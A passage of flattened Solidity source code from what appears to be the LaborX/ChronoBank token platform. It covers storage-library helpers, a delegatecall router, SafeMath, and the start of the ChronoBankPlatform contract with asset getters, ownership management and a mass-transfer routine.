item.innerSet, bytes32(_value)); } function getIndex(StorageInterface.Config storage self, StorageInterface.CounterSet storage item, uint _value) internal view returns (uint) { return getIndex(self, item.innerSet, bytes32(_value)); } function getIndex(StorageInterface.Config storage self, StorageInterface.Bytes32SetMapping storage item, bytes32 _key, bytes32 _value) internal view returns (uint) { return getIndex(self, item.innerMapping, _key, _value); } function getIndex(StorageInterface.Config storage self, StorageInterface.AddressesSetMapping storage item, bytes32 _key, address _value) internal view returns (uint) { return getIndex(self, item.innerMapping, _key, bytes32(_value)); } function getIndex(StorageInterface.Config storage self, StorageInterface.UIntSetMapping storage item, bytes32 _key, uint _value) internal view returns (uint) { return getIndex(self, item.innerMapping, _key, bytes32(_value)); } /** `count` operation */ function count(StorageInterface.Config storage self, StorageInterface.Set storage item) internal view returns (uint) { return count(self, item, SET_IDENTIFIER); } function count(StorageInterface.Config storage self, StorageInterface.Set storage item, bytes32 _salt) internal view returns (uint) { return get(self, item.count, _salt); } function count(StorageInterface.Config storage self, StorageInterface.AddressesSet storage item) internal view returns (uint) { return count(self, item.innerSet); } function count(StorageInterface.Config storage self, StorageInterface.CounterSet storage item) internal view returns (uint) { return count(self, item.innerSet); } function count(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item) internal view returns (uint) { return count(self, item, ORDERED_SET_IDENTIFIER); } function count(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, bytes32 _salt) private view returns (uint) { return get(self, item.count, _salt); } function count(StorageInterface.Config storage self, StorageInterface.OrderedUIntSet storage item) internal view returns (uint) { return count(self, item.innerSet); } function count(StorageInterface.Config storage self, StorageInterface.OrderedAddressesSet storage item) internal view returns (uint) { return count(self, item.innerSet); } function count(StorageInterface.Config storage self, StorageInterface.Bytes32SetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function count(StorageInterface.Config storage self, StorageInterface.AddressesSetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function count(StorageInterface.Config storage self, StorageInterface.UIntSetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function count(StorageInterface.Config storage self, StorageInterface.Bytes32OrderedSetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function count(StorageInterface.Config storage self, StorageInterface.UIntOrderedSetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function count(StorageInterface.Config storage self, StorageInterface.AddressOrderedSetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function get(StorageInterface.Config storage self, StorageInterface.Set storage item) internal view returns (bytes32[] result) { result = get(self, item, SET_IDENTIFIER); } function get(StorageInterface.Config storage self, StorageInterface.Set storage item, bytes32 _salt) private view returns (bytes32[] result) { uint valuesCount = count(self, item, _salt); result = new bytes32[](valuesCount); for (uint i = 0; i < valuesCount; i++) { result[i] = get(self, item, _salt, i); } } function get(StorageInterface.Config storage self, StorageInterface.AddressesSet storage item) internal view returns (address[]) { return toAddresses(get(self, item.innerSet)); } function get(StorageInterface.Config storage self, StorageInterface.CounterSet storage item) internal view returns (uint[]) { return toUInt(get(self, item.innerSet)); } function get(StorageInterface.Config storage self, StorageInterface.Bytes32SetMapping storage item, bytes32 _key) internal view returns (bytes32[]) { return get(self, item.innerMapping, _key); } function get(StorageInterface.Config storage self, StorageInterface.AddressesSetMapping storage item, bytes32 _key) internal view returns (address[]) { return toAddresses(get(self, item.innerMapping, _key)); } function get(StorageInterface.Config storage self, StorageInterface.UIntSetMapping storage item, bytes32 _key) internal view returns (uint[]) { return toUInt(get(self, item.innerMapping, _key)); } function get(StorageInterface.Config storage self, StorageInterface.Set storage item, uint _index) internal view returns (bytes32) { return get(self, item, SET_IDENTIFIER, _index); } function get(StorageInterface.Config storage self, StorageInterface.Set storage item, bytes32 _salt, uint _index) private view returns (bytes32) { return get(self, item.values, _salt, bytes32(_index+1)); } function get(StorageInterface.Config storage self, StorageInterface.AddressesSet storage item, uint _index) internal view returns (address) { return address(get(self, item.innerSet, _index)); } function get(StorageInterface.Config storage self, StorageInterface.CounterSet storage item, uint _index) internal view returns (uint) { return uint(get(self, item.innerSet, _index)); } function get(StorageInterface.Config storage self, StorageInterface.Bytes32SetMapping storage item, bytes32 _key, uint _index) internal view returns (bytes32) { return get(self, item.innerMapping, _key, _index); } function get(StorageInterface.Config storage self, StorageInterface.AddressesSetMapping storage item, bytes32 _key, uint _index) internal view returns (address) { return address(get(self, item.innerMapping, _key, _index)); } function get(StorageInterface.Config storage self, StorageInterface.UIntSetMapping storage item, bytes32 _key, uint _index) internal view returns (uint) { return uint(get(self, item.innerMapping, _key, _index)); } function getNextValue(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, bytes32 _value) internal view returns (bytes32) { return getNextValue(self, item, ORDERED_SET_IDENTIFIER, _value); } function getNextValue(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, bytes32 _salt, bytes32 _value) private view returns (bytes32) { return get(self, item.nextValues, _salt, _value); } function getNextValue(StorageInterface.Config storage self, StorageInterface.OrderedUIntSet storage item, uint _value) internal view returns (uint) { return uint(getNextValue(self, item.innerSet, bytes32(_value))); } function getNextValue(StorageInterface.Config storage self, StorageInterface.OrderedAddressesSet storage item, address _value) internal view returns (address) { return address(getNextValue(self, item.innerSet, bytes32(_value))); } function getPreviousValue(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, bytes32 _value) internal view returns (bytes32) { return getPreviousValue(self, item, ORDERED_SET_IDENTIFIER, _value); } function getPreviousValue(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, bytes32 _salt, bytes32 _value) private view returns (bytes32) { return get(self, item.previousValues, _salt, _value); } function getPreviousValue(StorageInterface.Config storage self, StorageInterface.OrderedUIntSet storage item, uint _value) internal view returns (uint) { return uint(getPreviousValue(self, item.innerSet, bytes32(_value))); } function getPreviousValue(StorageInterface.Config storage self, StorageInterface.OrderedAddressesSet storage item, address _value) internal view returns (address) { return address(getPreviousValue(self, item.innerSet, bytes32(_value))); } function toBool(bytes32 self) internal pure returns (bool) { return self != bytes32(0); } function toBytes32(bool self) internal pure returns (bytes32) { return bytes32(self ? 1 : 0); } function toAddresses(bytes32[] memory self) internal pure returns (address[]) { address[] memory result = new address[](self.length); for (uint i = 0; i < self.length; i++) { result[i] = address(self[i]); } return result; } function toUInt(bytes32[] memory self) internal pure returns (uint[]) { uint[] memory result = new uint[](self.length); for (uint i = 0; i < self.length; i++) { result[i] = uint(self[i]); } return result; } function _setOrderedSetLink(StorageInterface.Config storage self, StorageInterface.Mapping storage link, bytes32 _salt, bytes32 from, bytes32 to) private { if (from != 0x0) { set(self, link, _salt, from, to); } } function _deleteOrderedSetLink(StorageInterface.Config storage self, StorageInterface.Mapping storage link, bytes32 _salt, bytes32 from) private { if (from != 0x0) { set(self, link, _salt, from, 0x0); } } /* ITERABLE */ function listIterator(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, bytes32 anchorKey, bytes32 startValue, uint limit) internal view returns (StorageInterface.Iterator) { if (startValue == 0x0) { return listIterator(self, item, anchorKey, limit); } return createIterator(anchorKey, startValue, limit); } function listIterator(StorageInterface.Config storage self, StorageInterface.OrderedUIntSet storage item, bytes32 anchorKey, uint startValue, uint limit) internal view returns (StorageInterface.Iterator) { return listIterator(self, item.innerSet, anchorKey, bytes32(startValue), limit); } function listIterator(StorageInterface.Config storage self, StorageInterface.OrderedAddressesSet storage item, bytes32 anchorKey, address startValue, uint limit) internal view returns (StorageInterface.Iterator) { return listIterator(self, item.innerSet, anchorKey, bytes32(startValue), limit); } function listIterator(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, uint limit) internal view returns (StorageInterface.Iterator) { return listIterator(self, item, ORDERED_SET_IDENTIFIER, limit); } function listIterator(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, bytes32 anchorKey, uint limit) internal view returns (StorageInterface.Iterator) { return createIterator(anchorKey, get(self, item.first, anchorKey), limit); } function listIterator(StorageInterface.Config storage self, StorageInterface.OrderedUIntSet storage item, uint limit) internal view returns (StorageInterface.Iterator) { return listIterator(self, item.innerSet, limit); } function listIterator(StorageInterface.Config storage self, StorageInterface.OrderedUIntSet storage item, bytes32 anchorKey, uint limit) internal view returns (StorageInterface.Iterator) { return listIterator(self, item.innerSet, anchorKey, limit); } function listIterator(StorageInterface.Config storage self, StorageInterface.OrderedAddressesSet storage item, uint limit) internal view returns (StorageInterface.Iterator) { return listIterator(self, item.innerSet, limit); } function listIterator(StorageInterface.Config storage self, StorageInterface.OrderedAddressesSet storage item, uint limit, bytes32 anchorKey) internal view returns (StorageInterface.Iterator) { return listIterator(self, item.innerSet, anchorKey, limit); } function listIterator(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item) internal view returns (StorageInterface.Iterator) { return listIterator(self, item, ORDERED_SET_IDENTIFIER); } function listIterator(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, bytes32 anchorKey) internal view returns (StorageInterface.Iterator) { return listIterator(self, item, anchorKey, get(self, item.count, anchorKey)); } function listIterator(StorageInterface.Config storage self, StorageInterface.OrderedUIntSet storage item) internal view returns (StorageInterface.Iterator) { return listIterator(self, item.innerSet); } function listIterator(StorageInterface.Config storage self, StorageInterface.OrderedUIntSet storage item, bytes32 anchorKey) internal view returns (StorageInterface.Iterator) { return listIterator(self, item.innerSet, anchorKey); } function listIterator(StorageInterface.Config storage self, StorageInterface.OrderedAddressesSet storage item) internal view returns (StorageInterface.Iterator) { return listIterator(self, item.innerSet); } function listIterator(StorageInterface.Config storage self, StorageInterface.OrderedAddressesSet storage item, bytes32 anchorKey) internal view returns (StorageInterface.Iterator) { return listIterator(self, item.innerSet, anchorKey); } function listIterator(StorageInterface.Config storage self, StorageInterface.Bytes32OrderedSetMapping storage item, bytes32 _key) internal view returns (StorageInterface.Iterator) { return listIterator(self, item.innerMapping, _key); } function listIterator(StorageInterface.Config storage self, StorageInterface.UIntOrderedSetMapping storage item, bytes32 _key) internal view returns (StorageInterface.Iterator) { return listIterator(self, item.innerMapping, _key); } function listIterator(StorageInterface.Config storage self, StorageInterface.AddressOrderedSetMapping storage item, bytes32 _key) internal view returns (StorageInterface.Iterator) { return listIterator(self, item.innerMapping, _key); } function createIterator(bytes32 anchorKey, bytes32 startValue, uint limit) internal pure returns (StorageInterface.Iterator) { return StorageInterface.Iterator({ currentValue: startValue, limit: limit, valuesLeft: limit, anchorKey: anchorKey }); } function getNextWithIterator(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, StorageInterface.Iterator iterator) internal view returns (bytes32 _nextValue) { if (!canGetNextWithIterator(self, item, iterator)) { revert(); } _nextValue = iterator.currentValue; iterator.currentValue = getNextValue(self, item, iterator.anchorKey, iterator.currentValue); iterator.valuesLeft -= 1; } function getNextWithIterator(StorageInterface.Config storage self, StorageInterface.OrderedUIntSet storage item, StorageInterface.Iterator iterator) internal view returns (uint _nextValue) { return uint(getNextWithIterator(self, item.innerSet, iterator)); } function getNextWithIterator(StorageInterface.Config storage self, StorageInterface.OrderedAddressesSet storage item, StorageInterface.Iterator iterator) internal view returns (address _nextValue) { return address(getNextWithIterator(self, item.innerSet, iterator)); } function getNextWithIterator(StorageInterface.Config storage self, StorageInterface.Bytes32OrderedSetMapping storage item, StorageInterface.Iterator iterator) internal view returns (bytes32 _nextValue) { return getNextWithIterator(self, item.innerMapping, iterator); } function getNextWithIterator(StorageInterface.Config storage self, StorageInterface.UIntOrderedSetMapping storage item, StorageInterface.Iterator iterator) internal view returns (uint _nextValue) { return uint(getNextWithIterator(self, item.innerMapping, iterator)); } function getNextWithIterator(StorageInterface.Config storage self, StorageInterface.AddressOrderedSetMapping storage item, StorageInterface.Iterator iterator) internal view returns (address _nextValue) { return address(getNextWithIterator(self, item.innerMapping, iterator)); } function canGetNextWithIterator(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, StorageInterface.Iterator iterator) internal view returns (bool) { if (iterator.valuesLeft == 0 || !includes(self, item, iterator.anchorKey, iterator.currentValue)) { return false; } return true; } function canGetNextWithIterator(StorageInterface.Config storage self, StorageInterface.OrderedUIntSet storage item, StorageInterface.Iterator iterator) internal view returns (bool) { return canGetNextWithIterator(self, item.innerSet, iterator); } function canGetNextWithIterator(StorageInterface.Config storage self, StorageInterface.OrderedAddressesSet storage item, StorageInterface.Iterator iterator) internal view returns (bool) { return canGetNextWithIterator(self, item.innerSet, iterator); } function canGetNextWithIterator(StorageInterface.Config storage self, StorageInterface.Bytes32OrderedSetMapping storage item, StorageInterface.Iterator iterator) internal view returns (bool) { return canGetNextWithIterator(self, item.innerMapping, iterator); } function canGetNextWithIterator(StorageInterface.Config storage self, StorageInterface.UIntOrderedSetMapping storage item, StorageInterface.Iterator iterator) internal view returns (bool) { return canGetNextWithIterator(self, item.innerMapping, iterator); } function canGetNextWithIterator(StorageInterface.Config storage self, StorageInterface.AddressOrderedSetMapping storage item, StorageInterface.Iterator iterator) internal view returns (bool) { return canGetNextWithIterator(self, item.innerMapping, iterator); } function count(StorageInterface.Iterator iterator) internal pure returns (uint) { return iterator.valuesLeft; } } // File: @laborx/solidity-shared-lib/contracts/BaseByzantiumRouter.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.11; /// @title Routing contract that is able to provide a way for delegating invocations with dynamic destination address. contract BaseByzantiumRouter { function() external payable { address _implementation = implementation(); assembly { let calldataMemoryOffset := mload(0x40) mstore(0x40, add(calldataMemoryOffset, calldatasize)) calldatacopy(calldataMemoryOffset, 0x0, calldatasize) let r := delegatecall(sub(gas, 10000), _implementation, calldataMemoryOffset, calldatasize, 0, 0) let returndataMemoryOffset := mload(0x40) mstore(0x40, add(returndataMemoryOffset, returndatasize)) returndatacopy(returndataMemoryOffset, 0x0, returndatasize) switch r case 1 { return(returndataMemoryOffset, returndatasize) } default { revert(0, 0) } } } /// @notice Returns destination address for future calls /// @dev abstract definition. should be implemented in sibling contracts /// @return destination address function implementation() internal view returns (address); } // File: @laborx/solidity-storage-lib/contracts/StorageAdapter.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.23; contract StorageAdapter { using StorageInterface for *; StorageInterface.Config internal store; constructor(Storage _store, bytes32 _crate) public { store.init(_store, _crate); } } // File: contracts/ChronoBankPlatformBackendProvider.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.24; contract ChronoBankPlatformBackendProvider is Owned { ChronoBankPlatformInterface public platformBackend; constructor(ChronoBankPlatformInterface _platformBackend) public { updatePlatformBackend(_platformBackend); } function updatePlatformBackend(ChronoBankPlatformInterface _updatedPlatformBackend) public onlyContractOwner returns (bool) { require(address(_updatedPlatformBackend) != 0x0, "PLATFORM_BACKEND_PROVIDER_INVALID_PLATFORM_ADDRESS"); platformBackend = _updatedPlatformBackend; return true; } } // File: contracts/ChronoBankPlatformRouter.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.24; contract ChronoBankPlatformRouterCore { address internal platformBackendProvider; } contract ChronoBankPlatformCore { bytes32 constant CHRONOBANK_PLATFORM_CRATE = "ChronoBankPlatform"; /// @dev Asset's owner id StorageInterface.Bytes32UIntMapping internal assetOwnerIdStorage; /// @dev Asset's total supply StorageInterface.Bytes32UIntMapping internal assetTotalSupply; /// @dev Asset's name, for information purposes. StorageInterface.StringMapping internal assetName; /// @dev Asset's description, for information purposes. StorageInterface.StringMapping internal assetDescription; /// @dev Indicates if asset have dynamic or fixed supply StorageInterface.Bytes32BoolMapping internal assetIsReissuable; /// @dev Proposed number of decimals StorageInterface.Bytes32UInt8Mapping internal assetBaseUnit; /// @dev Holders wallets partowners StorageInterface.Bytes32UIntBoolMapping internal assetPartowners; /// @dev Holders wallets balance StorageInterface.Bytes32UIntUIntMapping internal assetWalletBalance; /// @dev Holders wallets allowance StorageInterface.Bytes32UIntUIntUIntMapping internal assetWalletAllowance; /// @dev Block number from which asset can be used StorageInterface.Bytes32UIntMapping internal assetBlockNumber; /// @dev Iterable mapping pattern is used for holders. StorageInterface.UInt internal holdersCountStorage; /// @dev Current address of the holder. StorageInterface.UIntAddressMapping internal holdersAddressStorage; /// @dev Addresses that are trusted with recovery proocedure. StorageInterface.UIntAddressBoolMapping internal holdersTrustStorage; /// @dev This is an access address mapping. Many addresses may have access to a single holder. StorageInterface.AddressUIntMapping internal holderIndexStorage; /// @dev List of symbols that exist in a platform StorageInterface.Set internal symbolsStorage; /// @dev Asset symbol to asset proxy mapping. StorageInterface.Bytes32AddressMapping internal proxiesStorage; /// @dev Co-owners of a platform. Has less access rights than a root contract owner StorageInterface.AddressBoolMapping internal partownersStorage; } contract ChronoBankPlatformRouter is BaseByzantiumRouter, ChronoBankPlatformRouterCore, ChronoBankPlatformEmitter, StorageAdapter { /// @dev memory layout from Owned contract address public contractOwner; bytes32 constant CHRONOBANK_PLATFORM_CRATE = "ChronoBankPlatform"; constructor(address _platformBackendProvider) StorageAdapter(Storage(address(this)), CHRONOBANK_PLATFORM_CRATE) public { require(_platformBackendProvider != 0x0, "PLATFORM_ROUTER_INVALID_BACKEND_ADDRESS"); contractOwner = msg.sender; platformBackendProvider = _platformBackendProvider; } function implementation() internal view returns (address) { return ChronoBankPlatformBackendProvider(platformBackendProvider).platformBackend(); } } // File: contracts/lib/SafeMath.sol /// @title SafeMath /// @dev Math operations with safety checks that throw on error library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; require(a == 0 || c / a == b, "SAFE_MATH_INVALID_MUL"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SAFE_MATH_INVALID_SUB"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SAFE_MATH_INVALID_ADD"); return c; } } // File: contracts/ChronoBankPlatform.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.21; contract ProxyEventsEmitter { function emitTransfer(address _from, address _to, uint _value) public; function emitApprove(address _from, address _spender, uint _value) public; } /// @title ChronoBank Platform. /// /// The official ChronoBank assets platform powering TIME and LHT tokens, and possibly /// other unknown tokens needed later. /// Platform uses MultiEventsHistory contract to keep events, so that in case it needs to be redeployed /// at some point, all the events keep appearing at the same place. /// /// Every asset is meant to be used through a proxy contract. Only one proxy contract have access /// rights for a particular asset. /// /// Features: transfers, allowances, supply adjustments, lost wallet access recovery. /// /// Note: all the non constant functions return false instead of throwing in case if state change /// didn't happen yet. contract ChronoBankPlatform is ChronoBankPlatformRouterCore, ChronoBankPlatformEmitter, StorageInterfaceContract, ChronoBankPlatformCore { uint constant OK = 1; using SafeMath for uint; uint constant CHRONOBANK_PLATFORM_SCOPE = 15000; uint constant CHRONOBANK_PLATFORM_PROXY_ALREADY_EXISTS = CHRONOBANK_PLATFORM_SCOPE + 0; uint constant CHRONOBANK_PLATFORM_CANNOT_APPLY_TO_ONESELF = CHRONOBANK_PLATFORM_SCOPE + 1; uint constant CHRONOBANK_PLATFORM_INVALID_VALUE = CHRONOBANK_PLATFORM_SCOPE + 2; uint constant CHRONOBANK_PLATFORM_INSUFFICIENT_BALANCE = CHRONOBANK_PLATFORM_SCOPE + 3; uint constant CHRONOBANK_PLATFORM_NOT_ENOUGH_ALLOWANCE = CHRONOBANK_PLATFORM_SCOPE + 4; uint constant CHRONOBANK_PLATFORM_ASSET_ALREADY_ISSUED = CHRONOBANK_PLATFORM_SCOPE + 5; uint constant CHRONOBANK_PLATFORM_CANNOT_ISSUE_FIXED_ASSET_WITH_INVALID_VALUE = CHRONOBANK_PLATFORM_SCOPE + 6; uint constant CHRONOBANK_PLATFORM_CANNOT_REISSUE_FIXED_ASSET = CHRONOBANK_PLATFORM_SCOPE + 7; uint constant CHRONOBANK_PLATFORM_SUPPLY_OVERFLOW = CHRONOBANK_PLATFORM_SCOPE + 8; uint constant CHRONOBANK_PLATFORM_NOT_ENOUGH_TOKENS = CHRONOBANK_PLATFORM_SCOPE + 9; uint constant CHRONOBANK_PLATFORM_INVALID_NEW_OWNER = CHRONOBANK_PLATFORM_SCOPE + 10; uint constant CHRONOBANK_PLATFORM_ALREADY_TRUSTED = CHRONOBANK_PLATFORM_SCOPE + 11; uint constant CHRONOBANK_PLATFORM_SHOULD_RECOVER_TO_NEW_ADDRESS = CHRONOBANK_PLATFORM_SCOPE + 12; uint constant CHRONOBANK_PLATFORM_ASSET_IS_NOT_ISSUED = CHRONOBANK_PLATFORM_SCOPE + 13; uint constant CHRONOBANK_PLATFORM_INVALID_INVOCATION = CHRONOBANK_PLATFORM_SCOPE + 17; string public version = "0.2.0"; struct TransactionContext { address from; address to; address sender; uint fromHolderId; uint toHolderId; uint senderHolderId; uint balanceFrom; uint balanceTo; uint allowanceValue; } /// @dev Emits Error if called not by asset owner. modifier onlyOwner(bytes32 _symbol) { if (isOwner(msg.sender, _symbol)) { _; } } modifier onlyDesignatedManager(bytes32 _symbol) { if (isDesignatedAssetManager(msg.sender, _symbol)) { _; } } /// @dev UNAUTHORIZED if called not by one of partowners or contract's owner modifier onlyOneOfContractOwners() { if (contractOwner == msg.sender || partowners(msg.sender)) { _; } } /// @dev Emits Error if called not by asset proxy. modifier onlyProxy(bytes32 _symbol) { if (proxies(_symbol) == msg.sender) { _; } } /// @dev Emits Error if _from doesn't trust _to. modifier checkTrust(address _from, address _to) { if (isTrusted(_from, _to)) { _; } } /// @dev Emits Error if asset block number > current block number. modifier onlyAfterBlock(bytes32 _symbol) { if (block.number >= blockNumber(_symbol)) { _; } } constructor() StorageContractAdapter(this, CHRONOBANK_PLATFORM_CRATE) public { } function initStorage() public { init(partownersStorage, "partowners"); init(proxiesStorage, "proxies"); init(symbolsStorage, "symbols"); init(holdersCountStorage, "holdersCount"); init(holderIndexStorage, "holderIndex"); init(holdersAddressStorage, "holdersAddress"); init(holdersTrustStorage, "holdersTrust"); init(assetOwnerIdStorage, "assetOwner"); init(assetTotalSupply, "assetTotalSupply"); init(assetName, "assetName"); init(assetDescription, "assetDescription"); init(assetIsReissuable, "assetIsReissuable"); init(assetBlockNumber, "assetBlockNumber"); init(assetBaseUnit, "assetBaseUnit"); init(assetPartowners, "assetPartowners"); init(assetWalletBalance, "assetWalletBalance"); init(assetWalletAllowance, "assetWalletAllowance"); } /// @dev Asset symbol to asset details. /// @return { /// "_description": "will be null, since cannot store and return dynamic-sized types in storage (fixed in v0.4.24), /// } function assets(bytes32 _symbol) public view returns ( uint _owner, uint _totalSupply, string _name, string _description, bool _isReissuable, uint8 _baseUnit, uint _blockNumber ) { _owner = _assetOwner(_symbol); _totalSupply = totalSupply(_symbol); _name = name(_symbol); _description = description(_symbol); _isReissuable = isReissuable(_symbol); _baseUnit = baseUnit(_symbol); _blockNumber = blockNumber(_symbol); } function holdersCount() public view returns (uint) { return get(store, holdersCountStorage); } function holders(uint _holderId) public view returns (address) { return get(store, holdersAddressStorage, _holderId); } function symbols(uint _idx) public view returns (bytes32) { return get(store, symbolsStorage, _idx); } /// @notice Provides a cheap way to get number of symbols registered in a platform /// @return number of symbols function symbolsCount() public view returns (uint) { return count(store, symbolsStorage); } function proxies(bytes32 _symbol) public view returns (address) { return get(store, proxiesStorage, _symbol); } function partowners(address _address) public view returns (bool) { return get(store, partownersStorage, _address); } /// @notice Adds a co-owner of a contract. Might be more than one co-owner /// @dev Allowed to only contract onwer /// @param _partowner a co-owner of a contract /// @return result code of an operation function addPartOwner(address _partowner) public onlyContractOwner returns (uint) { set(store, partownersStorage, _partowner, true); return OK; } /// @notice Removes a co-owner of a contract /// @dev Should be performed only by root contract owner /// @param _partowner a co-owner of a contract /// @return result code of an operation function removePartOwner(address _partowner) public onlyContractOwner returns (uint) { set(store, partownersStorage, _partowner, false); return OK; } /// @notice Sets EventsHistory contract address. /// @dev Can be set only by owner. /// @param _eventsHistory MultiEventsHistory contract address. /// @return success. function setupEventsHistory(address _eventsHistory) public onlyContractOwner returns (uint errorCode) { _setEventsHistory(_eventsHistory); return OK; } /// @notice Check asset existance. /// @param _symbol asset symbol. /// @return asset existance. function isCreated(bytes32 _symbol) public view returns (bool) { return _assetOwner(_symbol) != 0; } /// @notice Returns asset decimals. /// @param _symbol asset symbol. /// @return asset decimals. function baseUnit(bytes32 _symbol) public view returns (uint8) { return get(store, assetBaseUnit, _symbol); } /// @notice Returns asset name. /// @param _symbol asset symbol. /// @return asset name. function name(bytes32 _symbol) public view returns (string) { return get(store, assetName, _symbol); } /// @notice Returns asset description. /// @param _symbol asset symbol. /// @return asset description. function description(bytes32 _symbol) public view returns (string) { return get(store, assetDescription, _symbol); } /// @notice Returns asset reissuability. /// @param _symbol asset symbol. /// @return asset reissuability. function isReissuable(bytes32 _symbol) public view returns (bool) { return get(store, assetIsReissuable, _symbol); } /// @notice Returns block number from which asset can be used. /// @param _symbol asset symbol. /// @return block number. function blockNumber(bytes32 _symbol) public view returns (uint) { return get(store, assetBlockNumber, _symbol); } /// @notice Returns asset owner address. /// @param _symbol asset symbol. /// @return asset owner address. function owner(bytes32 _symbol) public view returns (address) { return _address(_assetOwner(_symbol)); } /// @notice Check if specified address has asset owner rights. /// @param _owner address to check. /// @param _symbol asset symbol. /// @return owner rights availability. function isOwner(address _owner, bytes32 _symbol) public view returns (bool) { return isCreated(_symbol) && (_assetOwner(_symbol) == getHolderId(_owner)); } /// @notice Checks if a specified address has asset owner or co-owner rights. /// @param _owner address to check. /// @param _symbol asset symbol. /// @return owner rights availability. function hasAssetRights(address _owner, bytes32 _symbol) public view returns (bool) { uint holderId = getHolderId(_owner); return isCreated(_symbol) && (_assetOwner(_symbol) == holderId || get(store, assetPartowners, _symbol, holderId)); } /// @notice Checks if a provided address `_manager` has designated access to asset `_symbol`. /// @param _manager address that will become the asset manager /// @param _symbol asset symbol /// @return true if address is one of designated asset managers, false otherwise function isDesignatedAssetManager(address _manager, bytes32 _symbol) public view returns (bool) { uint managerId = getHolderId(_manager); return isCreated(_symbol) && get(store, assetPartowners, _symbol, managerId); } /// @notice Returns asset total supply. /// @param _symbol asset symbol. /// @return asset total supply. function totalSupply(bytes32 _symbol) public view returns (uint) { return get(store, assetTotalSupply, _symbol); } /// @notice Returns asset balance for a particular holder. /// @param _holder holder address. /// @param _symbol asset symbol. /// @return holder balance. function balanceOf(address _holder, bytes32 _symbol) public view returns (uint) { return _balanceOf(getHolderId(_holder), _symbol); } /// @notice Returns asset balance for a particular holder id. /// @param _holderId holder id. /// @param _symbol asset symbol. /// @return holder balance. function _balanceOf(uint _holderId, bytes32 _symbol) public view returns (uint) { return get(store, assetWalletBalance, _symbol, _holderId); } /// @notice Returns current address for a particular holder id. /// @param _holderId holder id. /// @return holder address. function _address(uint _holderId) public view returns (address) { return get(store, holdersAddressStorage, _holderId); } /// @notice Adds a asset manager for an asset with provided symbol. /// @dev Should be performed by a platform owner or its co-owners /// @param _symbol asset's symbol /// @param _manager asset manager of the asset /// @return errorCode result code of an operation function addDesignatedAssetManager(bytes32 _symbol, address _manager) public onlyOneOfContractOwners returns (uint) { uint holderId = _createHolderId(_manager); set(store, assetPartowners, _symbol, holderId, true); _emitter().emitOwnershipChange(0x0, _manager, _symbol); return OK; } /// @notice Removes a asset manager for an asset with provided symbol. /// @dev Should be performed by a platform owner or its co-owners /// @param _symbol asset's symbol /// @param _manager asset manager of the asset /// @return errorCode result code of an operation function removeDesignatedAssetManager(bytes32 _symbol, address _manager) public onlyOneOfContractOwners returns (uint) { uint holderId = getHolderId(_manager); set(store, assetPartowners, _symbol, holderId, false); _emitter().emitOwnershipChange(_manager, 0x0, _symbol); return OK; } /// @notice Sets Proxy contract address for a particular asset. /// @dev Can be set only once for each asset and only by contract owner. /// @param _proxyAddress Proxy contract address. /// @param _symbol asset symbol. /// @return success. function setProxy(address _proxyAddress, bytes32 _symbol) public onlyOneOfContractOwners returns (uint) { if (proxies(_symbol) != 0x0) { return CHRONOBANK_PLATFORM_PROXY_ALREADY_EXISTS; } set(store, proxiesStorage, _symbol, _proxyAddress); return OK; } /// @notice Performes asset transfer for multiple destinations /// @param addresses list of addresses to receive some amount /// @param values list of asset amounts for according addresses /// @param _symbol asset symbol /// @return { /// "errorCode": "resultCode of an operation", /// "count": "an amount of succeeded transfers" /// } function massTransfer(address[] addresses, uint[] values, bytes32 _symbol) external onlyAfterBlock(_symbol) returns (uint errorCode, uint count) { require(addresses.length == values.length, "Different length of addresses and values for mass transfer"); require(_symbol != 0x0, "Asset's symbol cannot be 0"); return _massTransferDirect(addresses, values, _symbol); } function _massTransferDirect(address[] addresses, uint[] values, bytes32 _symbol) private returns (uint errorCode, uint count) { uint success = 0; TransactionContext memory txContext; txContext.from = msg.sender; txContext.fromHolderId = _createHolderId(txContext.from); for (uint idx = 0; idx < addresses.length && gasleft() > 110000; idx++) { uint value = values[idx]; if (value == 0) { _emitErrorCode(CHRONOBANK_PLATFORM_INVALID_VALUE); continue; } txContext.balanceFrom = _balanceOf(txContext.fromHolderId, _symbol); if (txContext.balanceFrom < value) { _emitErrorCode(CHRONOBANK_PLATFORM_INSUFFICIENT_BALANCE); continue; } if (txContext.from == addresses[idx]) { _emitErrorCode(CHRONOBANK_PLATFORM_CANNOT_APPLY_TO_ONESELF); continue; } txContext.toHolderId = _createHolderId(addresses[idx]); txContext.balanceTo = _balanceOf(txContext.toHolderId, _symbol); 